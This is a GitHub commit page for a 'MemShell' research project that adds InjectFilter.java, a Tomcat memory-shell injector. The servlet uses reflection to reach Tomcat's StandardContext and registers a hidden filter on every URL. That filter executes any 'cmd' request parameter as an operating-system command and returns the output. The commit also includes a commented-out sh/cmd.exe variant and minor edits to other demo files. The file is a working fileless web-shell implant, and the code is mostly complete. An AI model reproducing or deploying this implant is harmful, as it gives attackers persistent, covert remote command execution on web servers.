Skip to content

Commit 9cc3954

Browse files
SummerSecSummerSec
committed
InjectFilter.java
1 parent ebdd705 commit 9cc3954

File tree

10 files changed

+227
-105
lines changed

10 files changed

+227
-105
lines changed

‎MemShell/MemShell.iml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,5 +40,6 @@
4040
<jarDirectory url="file://D:/Tomcat9/lib" recursive="false" />
4141
</library>
4242
</orderEntry>
43+
<orderEntry type="library" name="lib" level="project" />
4344
</component>
4445
</module>

‎MemShell/src/memshell/tomcat/InjectFilter.java

Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
package memshell.tomcat;
2+
3+
4+
import org.apache.catalina.Context;
5+
import org.apache.catalina.core.ApplicationContext;
6+
import org.apache.catalina.core.ApplicationFilterConfig;
7+
import org.apache.catalina.core.StandardContext;
8+
import org.apache.tomcat.util.descriptor.web.FilterDef;
9+
import org.apache.tomcat.util.descriptor.web.FilterMap;
10+
11+
import javax.servlet.*;
12+
import javax.servlet.annotation.WebFilter;
13+
import javax.servlet.annotation.WebServlet;
14+
import javax.servlet.http.HttpServlet;
15+
import javax.servlet.http.HttpServletRequest;
16+
import javax.servlet.http.HttpServletResponse;
17+
import java.io.IOException;
18+
import java.io.InputStream;
19+
import java.lang.reflect.Constructor;
20+
import java.lang.reflect.Field;
21+
import java.util.Map;
22+
import java.util.Scanner;
23+
24+
/**
25+
* @ClassName: InjectFilter
26+
* @Description: TODO
27+
* @Author: Summer
28+
* @Date: 2021/7/19 16:26
29+
* @Version: v1.0.0
30+
* @Description:
31+
**/
32+
//@WebFilter(filterName = "injectFilter", urlPatterns = "/*")
33+
@WebServlet("/injectFilter")
34+
public class InjectFilter extends HttpServlet {
35+
//public class InjectFilter extends HttpServlet implements Filter {
36+
37+
@Override
38+
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
39+
40+
Field Configs = null;
41+
Map filterConfigs;
42+
try {
43+
//这里是反射获取ApplicationContext的context，也就是standardContext
44+
ServletContext servletContext = request.getSession().getServletContext();
45+
Field appctx = servletContext.getClass().getDeclaredField("context");
46+
appctx.setAccessible(true);
47+
// 获取ApplicationContext对象
48+
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
49+
Field stdctx = applicationContext.getClass().getDeclaredField("context");
50+
stdctx.setAccessible(true);
51+
// 获取StandardContext对象
52+
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
53+
// filter 名字
54+
String FilterName = "InjectFilter";
55+
// 获取StandardContext类中的字段filterConfigs
56+
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
57+
Configs.setAccessible(true);
58+
59+
filterConfigs = (Map) Configs.get(standardContext);
60+
// 判断filterConfigs map中是否含有恶意filter，如果没有注册，如果有则跳过
61+
if (filterConfigs.get(FilterName) == null){
62+
Filter filter = new Filter() {
63+
64+
@Override
65+
public void init(FilterConfig filterConfig) throws ServletException {
66+
67+
}
68+
@Override
69+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
70+
HttpServletRequest req = (HttpServletRequest) servletRequest;
71+
if (req.getParameter("cmd") != null){
72+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
73+
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
74+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
75+
String output = s.hasNext() ? s.next() : "";
76+
servletResponse.getWriter().write(output);
77+
78+
return;
79+
}
80+
filterChain.doFilter(servletRequest,servletResponse);
81+
}
82+
83+
@Override
84+
public void destroy() {
85+
86+
}
87+
};
88+
//反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加
89+
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
90+
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
91+
org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();
92+
o.setFilter(filter);
93+
o.setFilterName(FilterName);
94+
o.setFilterClass(filter.getClass().getName());
95+
standardContext.addFilterDef(o);
96+
//反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去
97+
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
98+
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
99+
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
100+
101+
o1.addURLPattern("/*");
102+
o1.setFilterName(FilterName);
103+
o1.setDispatcher(DispatcherType.REQUEST.name());
104+
standardContext.addFilterMapBefore(o1);
105+
106+
//反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去
107+
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
108+
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
109+
declaredConstructor1.setAccessible(true);
110+
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
111+
filterConfigs.put(FilterName,filterConfig);
112+
response.getWriter().write("suc of Drops");
113+
System.out.println("suc of Drops");
114+
115+
116+
117+
}
118+
} catch (Exception e) {
119+
e.printStackTrace();
120+
}
121+
122+
123+
}
124+
125+
@Override
126+
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
127+
this.doPost(request, response);
128+
}
129+
130+
@Override
131+
public void destroy() {
132+
133+
}
134+
135+
136+
// @Override
137+
// public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
138+
// HttpServletRequest req = (HttpServletRequest) request;
139+
// HttpServletResponse resp = (HttpServletResponse) response;
140+
// if (req.getParameter("cmd") != null) {
141+
// boolean isLinux = true;
142+
// String osTyp = System.getProperty("os.name");
143+
// if (osTyp != null && osTyp.toLowerCase().contains("win")) {
144+
// isLinux = false;
145+
// }
146+
// String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
147+
// String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
148+
// InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
149+
// Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
150+
// String output = s.hasNext() ? s.next() : "";
151+
// resp.getWriter().write(output);
152+
// resp.getWriter().flush();
153+
// }
154+
// chain.doFilter(request, response);
155+
// }
156+
//
157+
158+
159+
160+
// @Override
161+
// public void init(FilterConfig filterConfig) throws ServletException {
162+
//
163+
// }
164+
165+
}

‎MemShell/src/memshell/tomcat/TestFilter.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ public class TestFilter implements Filter {
1616
@Override
1717
public void init(FilterConfig filterConfig) throws ServletException {
1818
System.out.println("Filter init is ok!");
19+
1920
}
2021

2122
@Override

‎MemShell/src/memshell/tomcat/TestServlet.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
import java.io.IOException;
1717

1818

19-
@WebServlet("/TestServlet")
19+
//@WebServlet("/TestServlet")
2020
public class TestServlet extends HttpServlet {
2121

2222
@Override

‎MemShell/src/memshell/tomcat/cmd_Filters.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
* @Description:
1919
**/
2020

21-
@WebFilter("/*")
21+
//@WebFilter("/*")
2222
public class cmd_Filters implements Filter {
2323
@Override
2424
public void destroy() {

‎MemShell/src/memshell/tomcat/demoServlet.java

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -28,16 +28,11 @@
2828
import java.util.Map;
2929
import java.util.Scanner;
3030

31-
@WebServlet("/demoServlet")
31+
//@WebServlet("/demoServlet")
3232
public class demoServlet extends HttpServlet {
3333
@Override
3434
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
3535

36-
37-
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
38-
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
39-
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
40-
// 该获取StandardContext测试报错
4136
Field Configs = null;
4237
Map filterConfigs;
4338
try {
@@ -128,4 +123,5 @@ public void destroy() {
128123
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
129124
this.doPost(request, response);
130125
}
126+
131127
}

‎MemShell/web/WEB-INF/web.xml

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,15 @@
44
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
55
version="4.0">
66

7-
<filter>
8-
<filter-name>TestFilter</filter-name>
9-
<filter-class>memshell.tomcat.TestFilter</filter-class>
10-
</filter>
11-
12-
<filter-mapping>
13-
<filter-name>TestFilter</filter-name>
14-
<url-pattern>/*</url-pattern>
15-
</filter-mapping>
7+
<!-- <filter>-->
8+
<!-- <filter-name>TestFilter</filter-name>-->
9+
<!-- <filter-class>memshell.tomcat.TestFilter</filter-class>-->
10+
<!-- </filter>-->
11+
<!-- -->
12+
<!-- <filter-mapping>-->
13+
<!-- <filter-name>TestFilter</filter-name>-->
14+
<!-- <url-pattern>/*</url-pattern>-->
15+
<!-- </filter-mapping>-->
1616

1717

1818

‎Rce_Echo/TomcatEcho/.idea/misc.xml

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎vuldemo/.idea/misc.xml

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)